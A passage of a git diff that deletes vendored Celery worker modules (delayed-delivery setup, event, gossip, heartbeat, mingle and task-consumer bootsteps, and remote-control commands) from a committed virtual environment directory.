setup_errors = [] - - for broker_url in broker_urls: - try: - retry_over_time( - self._setup_delayed_delivery, - args=(c, broker_url), - catch=RETRIED_EXCEPTIONS, - errback=self._on_retry, - interval_start=RETRY_INTERVAL, - max_retries=MAX_RETRIES, - ) - except Exception as e: - logger.warning( - "Failed to setup delayed delivery for %r: %s", - maybe_sanitize_url(broker_url), str(e) - ) - setup_errors.append((broker_url, e)) - - if len(setup_errors) == len(broker_urls): - logger.critical( - "Failed to setup delayed delivery for all broker URLs. " - "Native delayed delivery will not be available." - ) - - def _setup_delayed_delivery(self, c: Consumer, broker_url: str) -> None: - """Set up delayed delivery for a specific broker URL. - - Args: - c: The Celery consumer instance - broker_url: The broker URL to configure - - Raises: - ConnectionRefusedError: If connection to the broker fails - OSError: If there are network-related issues - Exception: For other unexpected errors during setup - """ - with c.app.connection_for_write(url=broker_url) as connection: - queue_type = c.app.conf.broker_native_delayed_delivery_queue_type - logger.debug( - "Setting up delayed delivery for broker %r with queue type %r", - maybe_sanitize_url(broker_url), queue_type - ) - - try: - declare_native_delayed_delivery_exchanges_and_queues( - connection, - queue_type - ) - except Exception as e: - logger.warning( - "Failed to declare exchanges and queues for %r: %s", - maybe_sanitize_url(broker_url), str(e) - ) - raise - - try: - self._bind_queues(c.app, connection) - except Exception as e: - logger.warning( - "Failed to bind queues for %r: %s", - maybe_sanitize_url(broker_url), str(e) - ) - raise - - def _bind_queues(self, app: Celery, connection: Connection) -> None: - """Bind all application queues to delayed delivery exchanges. - - Args: - app: The Celery application instance - connection: The broker connection to use - - Raises: - Exception: If queue binding fails - """ - queues: ValuesView[Queue] = app.amqp.queues.values() - if not queues: - logger.warning("No queues found to bind for delayed delivery") - return - - exceptions: list[Exception] = [] - for queue in queues: - try: - logger.debug("Binding queue %r to delayed delivery exchange", queue.name) - bind_queue_to_native_delayed_delivery_exchange(connection, queue) - except Exception as e: - logger.error( - "Failed to bind queue %r: %s", - queue.name, str(e) - ) - - # We must re-raise on retried exceptions to ensure they are - # caught with the outer retry_over_time mechanism. - # - # This could be removed if one of: - # * The minimum python version for Celery and Kombu is - # increased to 3.11. Kombu updated to use the `except*` - # clause to catch specific exceptions from an ExceptionGroup. - # * Kombu's retry_over_time utility is updated to use the - # catch utility from agronholm's exceptiongroup backport. - if isinstance(e, RETRIED_EXCEPTIONS): - raise - - exceptions.append(e) - - if exceptions: - raise ExceptionGroup( - ("One or more failures occurred while binding queues to " - "delayed delivery exchanges"), - exceptions, - ) - - def _on_retry(self, exc: Exception, interval_range: Iterator[float], intervals_count: int) -> float: - """Callback for retry attempts. - - Args: - exc: The exception that triggered the retry - interval_range: An iterator which returns the time in seconds to sleep next - intervals_count: Number of retry attempts so far - """ - interval = next(interval_range) - logger.warning( - "Retrying delayed delivery setup (attempt %d/%d) after error: %s. Sleeping %.2f seconds.", - intervals_count + 1, MAX_RETRIES, str(exc), interval - ) - return interval - - def _validate_configuration(self, app: Celery) -> None: - """Validate all required configuration settings. - - Args: - app: The Celery application instance - - Raises: - ValueError: If any configuration is invalid - """ - # Validate broker URLs - self._validate_broker_urls(app.conf.broker_url) - - # Validate queue type - self._validate_queue_type(app.conf.broker_native_delayed_delivery_queue_type) - - def _validate_broker_urls(self, broker_urls: Union[str, List[str]]) -> Set[str]: - """Validate and split broker URLs. - - Args: - broker_urls: Broker URLs, either as a semicolon-separated string - or as a list of strings - - Returns: - Set of valid broker URLs - - Raises: - ValueError: If no valid broker URLs are found or if invalid URLs are provided - """ - if not broker_urls: - raise ValueError("broker_url configuration is empty") - - if isinstance(broker_urls, str): - brokers = broker_urls.split(";") - elif isinstance(broker_urls, list): - if not all(isinstance(url, str) for url in broker_urls): - raise ValueError("All broker URLs must be strings") - brokers = broker_urls - else: - raise ValueError(f"broker_url must be a string or list, got {broker_urls!r}") - - valid_urls = {url for url in brokers} - - if not valid_urls: - raise ValueError("No valid broker URLs found in configuration") - - return valid_urls - - def _validate_queue_type(self, queue_type: Optional[str]) -> None: - """Validate the queue type configuration. - - Args: - queue_type: The configured queue type - - Raises: - ValueError: If queue type is invalid - """ - if not queue_type: - raise ValueError("broker_native_delayed_delivery_queue_type is not configured") - - if queue_type not in VALID_QUEUE_TYPES: - sorted_types = sorted(VALID_QUEUE_TYPES) - raise ValueError( - f"Invalid queue type {queue_type!r}. Must be one of: {', '.join(sorted_types)}" - ) diff --git a/venv/Lib/site-packages/celery/worker/consumer/events.py b/venv/Lib/site-packages/celery/worker/consumer/events.py deleted file mode 100644 index 7ff473561a56a40ac66e94f040d8b7e85b570b41..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/events.py +++ /dev/null @@ -1,68 +0,0 @@ -"""Worker Event Dispatcher Bootstep. - -``Events`` -> :class:`celery.events.EventDispatcher`. -""" -from kombu.common import ignore_errors - -from celery import bootsteps - -from .connection import Connection - -__all__ = ('Events',) - - -class Events(bootsteps.StartStopStep): - """Service used for sending monitoring events.""" - - requires = (Connection,) - - def __init__(self, c, - task_events=True, - without_heartbeat=False, - without_gossip=False, - **kwargs): - self.groups = None if task_events else ['worker'] - self.send_events = ( - task_events or - not without_gossip or - not without_heartbeat - ) - self.enabled = self.send_events - c.event_dispatcher = None - super().__init__(c, **kwargs) - - def start(self, c): - # flush events sent while connection was down. - prev = self._close(c) - dis = c.event_dispatcher = c.app.events.Dispatcher( - c.connection_for_write(), - hostname=c.hostname, - enabled=self.send_events, - groups=self.groups, - # we currently only buffer events when the event loop is enabled - # XXX This excludes eventlet/gevent, which should actually buffer. - buffer_group=['task'] if c.hub else None, - on_send_buffered=c.on_send_event_buffered if c.hub else None, - ) - if prev: - dis.extend_buffer(prev) - dis.flush() - - def stop(self, c): - pass - - def _close(self, c): - if c.event_dispatcher: - dispatcher = c.event_dispatcher - # remember changes from remote control commands: - self.groups = dispatcher.groups - - # close custom connection - if dispatcher.connection: - ignore_errors(c, dispatcher.connection.close) - ignore_errors(c, dispatcher.close) - c.event_dispatcher = None - return dispatcher - - def shutdown(self, c): - self._close(c) diff --git a/venv/Lib/site-packages/celery/worker/consumer/gossip.py b/venv/Lib/site-packages/celery/worker/consumer/gossip.py deleted file mode 100644 index 509471cadf4bc03722ad9d6981c150c191f3d043..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/gossip.py +++ /dev/null @@ -1,206 +0,0 @@ -"""Worker <-> Worker communication Bootstep.""" -from collections import defaultdict -from functools import partial -from heapq import heappush -from operator import itemgetter - -from kombu import Consumer -from kombu.asynchronous.semaphore import DummyLock -from kombu.exceptions import ContentDisallowed, DecodeError - -from celery import bootsteps -from celery.utils.log import get_logger -from celery.utils.objects import Bunch - -from .mingle import Mingle - -__all__ = ('Gossip',) - -logger = get_logger(__name__) -debug, info = logger.debug, logger.info - - -class Gossip(bootsteps.ConsumerStep): - """Bootstep consuming events from other workers. - - This keeps the logical clock value up to date. - """ - - label = 'Gossip' - requires = (Mingle,) - _cons_stamp_fields = itemgetter( - 'id', 'clock', 'hostname', 'pid', 'topic', 'action', 'cver', - ) - compatible_transports = {'amqp', 'redis'} - - def __init__(self, c, without_gossip=False, - interval=5.0, heartbeat_interval=2.0, **kwargs): - self.enabled = not without_gossip and self.compatible_transport(c.app) - self.app = c.app - c.gossip = self - self.Receiver = c.app.events.Receiver - self.hostname = c.hostname - self.full_hostname = '.'.join([self.hostname, str(c.pid)]) - self.on = Bunch( - node_join=set(), - node_leave=set(), - node_lost=set(), - ) - - self.timer = c.timer - if self.enabled: - self.state = c.app.events.State( - on_node_join=self.on_node_join, - on_node_leave=self.on_node_leave, - max_tasks_in_memory=1, - ) - if c.hub: - c._mutex = DummyLock() - self.update_state = self.state.event - self.interval = interval - self.heartbeat_interval = heartbeat_interval - self._tref = None - self.consensus_requests = defaultdict(list) - self.consensus_replies = {} - self.event_handlers = { - 'worker.elect': self.on_elect, - 'worker.elect.ack': self.on_elect_ack, - } - self.clock = c.app.clock - - self.election_handlers = { - 'task': self.call_task - } - - super().__init__(c, **kwargs) - - def compatible_transport(self, app): - with app.connection_for_read() as conn: - return conn.transport.driver_type in self.compatible_transports - - def election(self, id, topic, action=None): - self.consensus_replies[id] = [] - self.dispatcher.send( - 'worker-elect', - id=id, topic=topic, action=action, cver=1, - ) - - def call_task(self, task): - try: - self.app.signature(task).apply_async() - except Exception as exc: # pylint: disable=broad-except - logger.exception('Could not call task: %r', exc) - - def on_elect(self, event): - try: - (id_, clock, hostname, pid, - topic, action, _) = self._cons_stamp_fields(event) - except KeyError as exc: - return logger.exception('election request missing field %s', exc) - heappush( - self.consensus_requests[id_], - (clock, f'{hostname}.{pid}', topic, action), - ) - self.dispatcher.send('worker-elect-ack', id=id_) - - def start(self, c): - super().start(c) - self.dispatcher = c.event_dispatcher - - def on_elect_ack(self, event): - id = event['id'] - try: - replies = self.consensus_replies[id] - except KeyError: - return # not for us - alive_workers = set(self.state.alive_workers()) - replies.append(event['hostname']) - - if len(replies) >= len(alive_workers): - _, leader, topic, action = self.clock.sort_heap( - self.consensus_requests[id], - ) - if leader == self.full_hostname: - info('I won the election %r', id) - try: - handler = self.election_handlers[topic] - except KeyError: - logger.exception('Unknown election topic %r', topic) - else: - handler(action) - else: - info('node %s elected for %r', leader, id) - self.consensus_requests.pop(id, None) - self.consensus_replies.pop(id, None) - - def on_node_join(self, worker): - debug('%s joined the party', worker.hostname) - self._call_handlers(self.on.node_join, worker) - - def on_node_leave(self, worker): - debug('%s left', worker.hostname) - self._call_handlers(self.on.node_leave, worker) - - def on_node_lost(self, worker): - info('missed heartbeat from %s', worker.hostname) - self._call_handlers(self.on.node_lost, worker) - - def _call_handlers(self, handlers, *args, **kwargs): - for handler in handlers: - try: - handler(*args, **kwargs) - except Exception as exc: # pylint: disable=broad-except - logger.exception( - 'Ignored error from handler %r: %r', handler, exc) - - def register_timer(self): - if self._tref is not None: - self._tref.cancel() - self._tref = self.timer.call_repeatedly(self.interval, self.periodic) - - def periodic(self): - workers = self.state.workers - dirty = set() - for worker in workers.values(): - if not worker.alive: - dirty.add(worker) - self.on_node_lost(worker) - for worker in dirty: - workers.pop(worker.hostname, None) - - def get_consumers(self, channel): - self.register_timer() - ev = self.Receiver(channel, routing_key='worker.#', - queue_ttl=self.heartbeat_interval) - return [Consumer( - channel, - queues=[ev.queue], - on_message=partial(self.on_message, ev.event_from_message), - accept=ev.accept, - no_ack=True - )] - - def on_message(self, prepare, message): - _type = message.delivery_info['routing_key'] - - # For redis when `fanout_patterns=False` (See Issue #1882) - if _type.split('.', 1)[0] == 'task': - return - try: - handler = self.event_handlers[_type] - except KeyError: - pass - else: - return handler(message.payload) - - # proto2: hostname in header; proto1: in body - hostname = (message.headers.get('hostname') or - message.payload['hostname']) - if hostname != self.hostname: - try: - _, event = prepare(message.payload) - self.update_state(event) - except (DecodeError, ContentDisallowed, TypeError) as exc: - logger.error(exc) - else: - self.clock.forward() diff --git a/venv/Lib/site-packages/celery/worker/consumer/heart.py b/venv/Lib/site-packages/celery/worker/consumer/heart.py deleted file mode 100644 index 076f5f9a7e6cfe4e89c656884383c5bafbe3915f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/heart.py +++ /dev/null @@ -1,36 +0,0 @@ -"""Worker Event Heartbeat Bootstep.""" -from celery import bootsteps -from celery.worker import heartbeat - -from .events import Events - -__all__ = ('Heart',) - - -class Heart(bootsteps.StartStopStep): - """Bootstep sending event heartbeats. - - This service sends a ``worker-heartbeat`` message every n seconds. - - Note: - Not to be confused with AMQP protocol level heartbeats. - """ - - requires = (Events,) - - def __init__(self, c, - without_heartbeat=False, heartbeat_interval=None, **kwargs): - self.enabled = not without_heartbeat - self.heartbeat_interval = heartbeat_interval - c.heart = None - super().__init__(c, **kwargs) - - def start(self, c): - c.heart = heartbeat.Heart( - c.timer, c.event_dispatcher, self.heartbeat_interval, - ) - c.heart.start() - - def stop(self, c): - c.heart = c.heart and c.heart.stop() - shutdown = stop diff --git a/venv/Lib/site-packages/celery/worker/consumer/mingle.py b/venv/Lib/site-packages/celery/worker/consumer/mingle.py deleted file mode 100644 index d3f626e702ba9ec7d05e4ffa97dc70fd84d85942..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/mingle.py +++ /dev/null @@ -1,76 +0,0 @@ -"""Worker <-> Worker Sync at startup (Bootstep).""" -from celery import bootsteps -from celery.utils.log import get_logger - -from .events import Events - -__all__ = ('Mingle',) - -logger = get_logger(__name__) -debug, info, exception = logger.debug, logger.info, logger.exception - - -class Mingle(bootsteps.StartStopStep): - """Bootstep syncing state with neighbor workers. - - At startup, or upon consumer restart, this will: - - - Sync logical clocks. - - Sync revoked tasks. - - """ - - label = 'Mingle' - requires = (Events,) - compatible_transports = {'amqp', 'redis', 'gcpubsub'} - - def __init__(self, c, without_mingle=False, **kwargs): - self.enabled = not without_mingle and self.compatible_transport(c.app) - super().__init__( - c, without_mingle=without_mingle, **kwargs) - - def compatible_transport(self, app): - with app.connection_for_read() as conn: - return conn.transport.driver_type in self.compatible_transports - - def start(self, c): - self.sync(c) - - def sync(self, c): - info('mingle: searching for neighbors') - replies = self.send_hello(c) - if replies: - info('mingle: sync with %s nodes', - len([reply for reply, value in replies.items() if value])) - [self.on_node_reply(c, nodename, reply) - for nodename, reply in replies.items() if reply] - info('mingle: sync complete') - else: - info('mingle: all alone') - - def send_hello(self, c): - inspect = c.app.control.inspect(timeout=1.0, connection=c.connection) - our_revoked = c.controller.state.revoked - replies = inspect.hello(c.hostname, our_revoked._data) or {} - replies.pop(c.hostname, None) # delete my own response - return replies - - def on_node_reply(self, c, nodename, reply): - debug('mingle: processing reply from %s', nodename) - try: - self.sync_with_node(c, **reply) - except MemoryError: - raise - except Exception as exc: # pylint: disable=broad-except - exception('mingle: sync with %s failed: %r', nodename, exc) - - def sync_with_node(self, c, clock=None, revoked=None, **kwargs): - self.on_clock_event(c, clock) - self.on_revoked_received(c, revoked) - - def on_clock_event(self, c, clock): - c.app.clock.adjust(clock) if clock else c.app.clock.forward() - - def on_revoked_received(self, c, revoked): - if revoked: - c.controller.state.revoked.update(revoked) diff --git a/venv/Lib/site-packages/celery/worker/consumer/tasks.py b/venv/Lib/site-packages/celery/worker/consumer/tasks.py deleted file mode 100644 index b017cf52838062f68ab79852d819441d449fd2ff..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/consumer/tasks.py +++ /dev/null @@ -1,119 +0,0 @@ -"""Worker Task Consumer Bootstep.""" - -from __future__ import annotations - -from kombu.common import QoS, ignore_errors - -from celery import bootsteps -from celery.utils.log import get_logger -from celery.utils.quorum_queues import detect_quorum_queues - -from .mingle import Mingle - -__all__ = ('Tasks',) - - -logger = get_logger(__name__) -debug = logger.debug - - -class Tasks(bootsteps.StartStopStep): - """Bootstep starting the task message consumer.""" - - requires = (Mingle,) - - def __init__(self, c, **kwargs): - c.task_consumer = c.qos = None - super().__init__(c, **kwargs) - - def start(self, c): - """Start task consumer.""" - c.update_strategies() - - qos_global = self.qos_global(c) - - # set initial prefetch count - c.connection.default_channel.basic_qos( - 0, c.initial_prefetch_count, qos_global, - ) - - c.task_consumer = c.app.amqp.TaskConsumer( - c.connection, on_decode_error=c.on_decode_error, - ) - - def set_prefetch_count(prefetch_count): - return c.task_consumer.qos( - prefetch_count=prefetch_count, - apply_global=qos_global, - ) - eta_task_limit = c.app.conf.worker_eta_task_limit - c.qos = QoS( - set_prefetch_count, c.initial_prefetch_count, max_prefetch=eta_task_limit - ) - - if c.app.conf.worker_disable_prefetch: - # Only apply disable-prefetch for Redis brokers - is_redis_broker = c.connection.transport.driver_type == 'redis' - if not is_redis_broker: - logger.warning( - f"worker_disable_prefetch is only supported for Redis brokers. " - f"Current broker transport: {c.connection.transport.driver_type}. " - f"Ignoring disable_prefetch setting." - ) - return - - from types import MethodType - - from celery.worker import state - channel_qos = c.task_consumer.channel.qos - original_can_consume = channel_qos.can_consume - - def can_consume(self): - # Prefer autoscaler's max_concurrency if set; otherwise fall back to pool size - limit = getattr(c.controller, "max_concurrency", None) or c.pool.num_processes - if len(state.reserved_requests) >= limit: - return False - return original_can_consume() - - channel_qos.can_consume = MethodType(can_consume, channel_qos) - - def stop(self, c): - """Stop task consumer.""" - if c.task_consumer: - debug('Canceling task consumer...') - ignore_errors(c, c.task_consumer.cancel) - - def shutdown(self, c): - """Shutdown task consumer.""" - if c.task_consumer: - self.stop(c) - debug('Closing consumer channel...') - ignore_errors(c, c.task_consumer.close) - c.task_consumer = None - - def info(self, c): - """Return task consumer info.""" - return {'prefetch_count': c.qos.value if c.qos else 'N/A'} - - def qos_global(self, c) -> bool: - """Determine if global QoS should be applied. - - Additional information: - https://www.rabbitmq.com/docs/consumer-prefetch - https://www.rabbitmq.com/docs/quorum-queues#global-qos - """ - # - RabbitMQ 3.3 completely redefines how basic_qos works... - # This will detect if the new qos semantics is in effect, - # and if so make sure the 'apply_global' flag is set on qos updates. - qos_global = not c.connection.qos_semantics_matches_spec - - if c.app.conf.worker_detect_quorum_queues: - using_quorum_queues, _ = detect_quorum_queues( - c.app, c.connection.transport.driver_type - ) - - if using_quorum_queues: - qos_global = False - logger.info("Global QoS is disabled. Prefetch count in now static.") - - return qos_global diff --git a/venv/Lib/site-packages/celery/worker/control.py b/venv/Lib/site-packages/celery/worker/control.py deleted file mode 100644 index 547ce7989b69f08d44f31334347a693f6b022d3c..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/celery/worker/control.py +++ /dev/null @@ -1,632 +0,0 @@ -"""Worker remote control command implementations.""" -import io -import tempfile -from collections import UserDict, defaultdict, namedtuple - -from billiard.common import TERM_SIGNAME -from kombu.utils.encoding import safe_repr - -from celery.exceptions import WorkerShutdown -from celery.platforms import EX_OK -from celery.platforms import signals as _signals -from celery.utils.functional import maybe_list -from celery.utils.log import get_logger -from celery.utils.serialization import jsonify, strtobool -from celery.utils.time import rate - -from . import state as worker_state -from .request import Request - -__all__ = ('Panel',) - -DEFAULT_TASK_INFO_ITEMS = ('exchange', 'routing_key', 'rate_limit') -logger = get_logger(__name__) - -controller_info_t = namedtuple('controller_info_t', [ - 'alias', 'type', 'visible', 'default_timeout', - 'help', 'signature', 'args', 'variadic', -]) - - -def ok(value): - return {'ok': value} - - -def nok(value): - return {'error': value} - - -class Panel(UserDict): - """Global registry of remote control commands.""" - - data = {} # global dict. - meta = {} # -"- - - @classmethod - def register(cls, *args, **kwargs): - if args: - return cls._register(**kwargs)(*args) - return cls._register(**kwargs) - - @classmethod - def _register(cls, name=None, alias=None, type='control', - visible=True, default_timeout=1.0, help=None, - signature=None, args=None, variadic=None): - - def _inner(fun): - control_name = name or fun.__name__ - _help = help or (fun.__doc__ or '').strip().split('\n')[0] - cls.data[control_name] = fun - cls.meta[control_name] = controller_info_t( - alias, type, visible, default_timeout, - _help, signature, args, variadic) - if alias: - cls.data[alias] = fun - return fun - return _inner - - -def control_command(**kwargs): - return Panel.register(type='control', **kwargs) - - -def inspect_command(**kwargs): - return Panel.register(type='inspect', **kwargs) - -# -- App - - -@inspect_command() -def report(state): - """Information about Celery installation for bug reports.""" - return ok(state.app.bugreport()) - - -@inspect_command( - alias='dump_conf', # XXX < backwards compatible - signature='[include_defaults=False]', - args=[('with_defaults', strtobool)], -) -def conf(state, with_defaults=False, **kwargs): - """List configuration.""" - return jsonify(state.app.conf.table(with_defaults=with_defaults), - keyfilter=_wanted_config_key, - unknown_type_filter=safe_repr) - - -def _wanted_config_key(key): - return isinstance(key, str) and not key.startswith('__') - - -# -- Task - -@inspect_command( - variadic='ids', - signature='[id1 [id2 [... [idN]]]]', -) -def query_task(state, ids, **kwargs): - """Query for task information by id.""" - return { - req.id: (_state_of_task(req), req.info()) - for req in _find_requests_by_id(maybe_list(ids)) - } - - -def _find_requests_by_id(ids, - get_request=worker_state.requests.__getitem__): - for task_id in ids: - try: - yield get_request(task_id) - except KeyError: - pass - - -def _state_of_task(request, - is_active=worker_state.active_requests.__contains__, - is_reserved=worker_state.reserved_requests.__contains__): - if is_active(request): - return 'active' - elif is_reserved(request): - return 'reserved' - return 'ready' - - -@control_command( - variadic='task_id', - signature='[id1 [id2 [... [idN]]]]', -) -def revoke(state, task_id, terminate=False, signal=None, **kwargs): - """Revoke task by task id (or list of ids). - - Keyword Arguments: - terminate (bool): Also terminate the process if the task is active. - signal (str): Name of signal to use for terminate (e.g., ``KILL``). - """ - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `terminate`: - # Outside of this scope that is a function. - # supports list argument since 3.1 - task_ids, task_id = set(maybe_list(task_id) or []), None - task_ids = _revoke(state, task_ids, terminate, signal, **kwargs) - if isinstance(task_ids, dict) and 'ok' in task_ids: - return task_ids - return ok(f'tasks {task_ids} flagged as revoked') - - -@control_command( - variadic='headers', - signature='[key1=value1 [key2=value2 [... [keyN=valueN]]]]', -) -def revoke_by_stamped_headers(state, headers, terminate=False, signal=None, **kwargs): - """Revoke task by header (or list of headers). - - Keyword Arguments: - headers(dictionary): Dictionary that contains stamping scheme name as keys and stamps as values. - If headers is a list, it will be converted to a dictionary. - terminate (bool): Also terminate the process if the task is active. - signal (str): Name of signal to use for terminate (e.g., ``KILL``). - Sample headers input: - {'mtask_id': [id1, id2, id3]} - """ - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `terminate`: - # Outside of this scope that is a function. - # supports list argument since 3.1 - signum = _signals.signum(signal or TERM_SIGNAME) - - if isinstance(headers, list): - headers = {h.split('=')[0]: h.split('=')[1] for h in headers} - - for header, stamps in headers.items(): - updated_stamps = maybe_list(worker_state.revoked_stamps.get(header) or []) + list(maybe_list(stamps)) - worker_state.revoked_stamps[header] = updated_stamps - - if not terminate: - return ok(f'headers {headers} flagged as revoked, but not terminated') - - active_requests = list(worker_state.active_requests) - - terminated_scheme_to_stamps_mapping = defaultdict(set) - - # Terminate all running tasks of matching headers - # Go through all active requests, and check if one of the - # requests has a stamped header that matches the given headers to revoke - - for req in active_requests: - # Check stamps exist - if hasattr(req, "stamps") and req.stamps: - # if so, check if any stamps match a revoked stamp - for expected_header_key, expected_header_value in headers.items(): - if expected_header_key in req.stamps: - expected_header_value = maybe_list(expected_header_value) - actual_header = maybe_list(req.stamps[expected_header_key]) - matching_stamps_for_request = set(actual_header) & set(expected_header_value) - # Check any possible match regardless if the stamps are a sequence or not - if matching_stamps_for_request: - terminated_scheme_to_stamps_mapping[expected_header_key].update(matching_stamps_for_request) - req.terminate(state.consumer.pool, signal=signum) - - if not terminated_scheme_to_stamps_mapping: - return ok(f'headers {headers} were not terminated') - return ok(f'headers {terminated_scheme_to_stamps_mapping} revoked') - - -def _revoke(state, task_ids, terminate=False, signal=None, **kwargs): - size = len(task_ids) - terminated = set() - - worker_state.revoked.update(task_ids) - - for task_id in task_ids: - try: - state.app.backend.mark_as_revoked(task_id, reason='revoked', store_result=True) - except Exception as exc: - logger.warning('Failed to mark task %s as revoked in backend: %s', task_id, exc) - - if terminate: - signum = _signals.signum(signal or TERM_SIGNAME) - for request in _find_requests_by_id(task_ids): - if request.id not in terminated: - terminated.add(request.id) - logger.info('Terminating %s (%s)', request.id, signum) - request.terminate(state.consumer.pool, signal=signum) - if len(terminated) >= size: - break - - if not terminated: - return ok('terminate: tasks unknown') - return ok('terminate: {}'.format(', '.join(terminated))) - - idstr = ', '.join(task_ids) - logger.info('Tasks flagged as revoked: %s', idstr) - return task_ids - - -@control_command( - variadic='task_id', - args=[('signal', str)], - signature=' [id1 [id2 [... [idN]]]]' -) -def terminate(state, signal, task_id, **kwargs): - """Terminate task by task id (or list of ids).""" - return revoke(state, task_id, terminate=True, signal=signal) - - -@control_command( - args=[('task_name', str), ('rate_limit', str)], - signature=' ', -) -def rate_limit(state, task_name, rate_limit, **kwargs): - """Tell worker(s) to modify the rate limit for a task by type. - - See Also: - :attr:`celery.app.task.Task.rate_limit`. - - Arguments: - task_name (str): Type of task to set rate limit for. - rate_limit (int, str): New rate limit. - """ - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `terminate`: - # Outside of this scope that is a function. - try: - rate(rate_limit) - except ValueError as exc: - return nok(f'Invalid rate limit string: {exc!r}') - - try: - state.app.tasks[task_name].rate_limit = rate_limit - except KeyError: - logger.error('Rate limit attempt for unknown task %s', - task_name, exc_info=True) - return nok('unknown task') - - state.consumer.reset_rate_limits() - - if not rate_limit: - logger.info('Rate limits disabled for tasks of type %s', task_name) - return ok('rate limit disabled successfully') - - logger.info('New rate limit for tasks of type %s: %s.', - task_name, rate_limit) - return ok('new rate limit set successfully') - - -@control_command( - args=[('task_name', str), ('soft', float), ('hard', float)], - signature=' [hard_secs]', -) -def time_limit(state, task_name=None, hard=None, soft=None, **kwargs): - """Tell worker(s) to modify the time limit for task by type. - - Arguments: - task_name (str): Name of task to change. - hard (float): Hard time limit. - soft (float): Soft time limit. - """ - try: - task = state.app.tasks[task_name] - except KeyError: - logger.error('Change time limit attempt for unknown task %s', - task_name, exc_info=True) - return nok('unknown task') - - task.soft_time_limit = soft - task.time_limit = hard - - logger.info('New time limits for tasks of type %s: soft=%s hard=%s', - task_name, soft, hard) - return ok('time limits set successfully') - - -# -- Events - - -@inspect_command() -def clock(state, **kwargs): - """Get current logical clock value.""" - return {'clock': state.app.clock.value} - - -@control_command() -def election(state, id, topic, action=None, **kwargs): - """Hold election. - - Arguments: - id (str): Unique election id. - topic (str): Election topic. - action (str): Action to take for elected actor. - """ - if state.consumer.gossip: - state.consumer.gossip.election(id, topic, action) - - -@control_command() -def enable_events(state): - """Tell worker(s) to send task-related events.""" - dispatcher = state.consumer.event_dispatcher - if dispatcher.groups and 'task' not in dispatcher.groups: - dispatcher.groups.add('task') - logger.info('Events of group {task} enabled by remote.') - return ok('task events enabled') - return ok('task events already enabled') - - -@control_command() -def disable_events(state): - """Tell worker(s) to stop sending task-related events.""" - dispatcher = state.consumer.event_dispatcher - if 'task' in dispatcher.groups: - dispatcher.groups.discard('task') - logger.info('Events of group {task} disabled by remote.') - return ok('task events disabled') - return ok('task events already disabled') - - -@control_command() -def heartbeat(state): - """Tell worker(s) to send event heartbeat immediately.""" - logger.debug('Heartbeat requested by remote.') - dispatcher = state.consumer.event_dispatcher - dispatcher.send('worker-heartbeat', freq=5, **worker_state.SOFTWARE_INFO) - - -# -- Worker - -@inspect_command(visible=False) -def hello(state, from_node, revoked=None, **kwargs): - """Request mingle sync-data.""" - # pylint: disable=redefined-outer-name - # XXX Note that this redefines `revoked`: - # Outside of this scope that is a function. - if from_node != state.hostname: - logger.info('sync with %s', from_node) - if revoked: - worker_state.revoked.update(revoked) - # Do not send expired items to the other worker. - worker_state.revoked.purge() - return { - 'revoked': worker_state.revoked._data, - 'clock': state.app.clock.forward(), - } - - -@inspect_command(default_timeout=0.2) -def ping(state, **kwargs): - """Ping worker(s).""" - return ok('pong') - - -@inspect_command() -def stats(state, **kwargs): - """Request worker statistics/information.""" - return state.consumer.controller.stats() - - -@inspect_command(alias='dump_schedule') -def scheduled(state, **kwargs): - """List of currently scheduled ETA/countdown tasks.""" - return list(_iter_schedule_requests(state.consumer.timer)) - - -def _iter_schedule_requests(timer): - for waiting in timer.schedule.queue: - try: - arg0 = waiting.entry.args[0] - except (IndexError, TypeError): - continue - else: - if isinstance(arg0, Request): - yield { - 'eta': arg0.eta.isoformat() if arg0.eta else None, - 'priority': waiting.priority, - 'request': arg0.info(), - } - - -@inspect_command(alias='dump_reserved') -def reserved(state, **kwargs): - """List of currently reserved tasks, not including scheduled/active.""" - reserved_tasks = ( - state.tset(worker_state.reserved_requests) - - state.tset(worker_state.active_requests) - ) - if not reserved_tasks: - return [] - return [request.info() for request in reserved_tasks] - - -@inspect_command(alias='dump_active') -def active(state, safe=False, **kwargs): - """List of tasks currently being executed.""" - return [request.info(safe=safe) - for request in state.tset(worker_state.active_requests)] - - -@inspect_command(alias='dump_revoked') -def revoked(state, **kwargs): - """List of revoked task-ids.""" - return list(worker_state.revoked) - - -@inspect_command( - alias='dump_tasks', - variadic='taskinfoitems', - signature='[attr1 [attr2 [... [attrN]]]]', -) -def registered(state, taskinfoitems=None, builtins=False, **kwargs): - """List of registered tasks. - - Arguments: - taskinfoitems (Sequence[str]): List of task attributes to include. - Defaults to ``exchange,routing_key,rate_limit``. - builtins (bool): Also include built-in tasks. - """ - reg = state.app.tasks - taskinfoitems = taskinfoitems or DEFAULT_TASK_INFO_ITEMS - - tasks = reg if builtins else ( - task for task in reg if not task.startswith('celery.')) - - def _extract_info(task): - fields = { - field: str(getattr(task, field, None)) for field in taskinfoitems - if getattr(task, field, None) is not None - } - if fields: - info = ['='.join(f) for f in fields.items()] - return '{} [{}]'.format(task.name, ' '.join(info)) - return task.name - - return [_extract_info(reg[task]) for task in sorted(tasks)] - - -# -- Debugging - -@inspect_command( - default_timeout=60.0, - args=[('type', str), ('num', int), ('max_depth', int)], - signature='[object_type=Request] [num=200 [max_depth=10]]', -) -def objgraph(state, num=200, max_depth=10, type='Request'): # pragma: no cover - """Create graph of uncollected objects (memory-leak debugging). - - Arguments: - num (int): Max number of objects to graph. - max_depth (int): Traverse at most n levels deep. - type (str): Name of object to graph. Default is ``"Request"``. - """ - try: - import objgraph as _objgraph - except ImportError: - raise ImportError('Requires the objgraph library') - logger.info('Dumping graph for type %r', type) - with tempfile.NamedTemporaryFile(prefix='cobjg', - suffix='.png', delete=False) as fh: - objects = _objgraph.by_type(type)[:num] - _objgraph.show_backrefs( - objects, - max_depth=max_depth, highlight=lambda v: v in objects, - filename=fh.name, - ) - return {'filename': fh.name} - - -@inspect_command() -def memsample(state, **kwargs): - """Sample current RSS memory usage.""" - from celery.utils.debug import sample_mem - return sample_mem() - - -@inspect_command( - 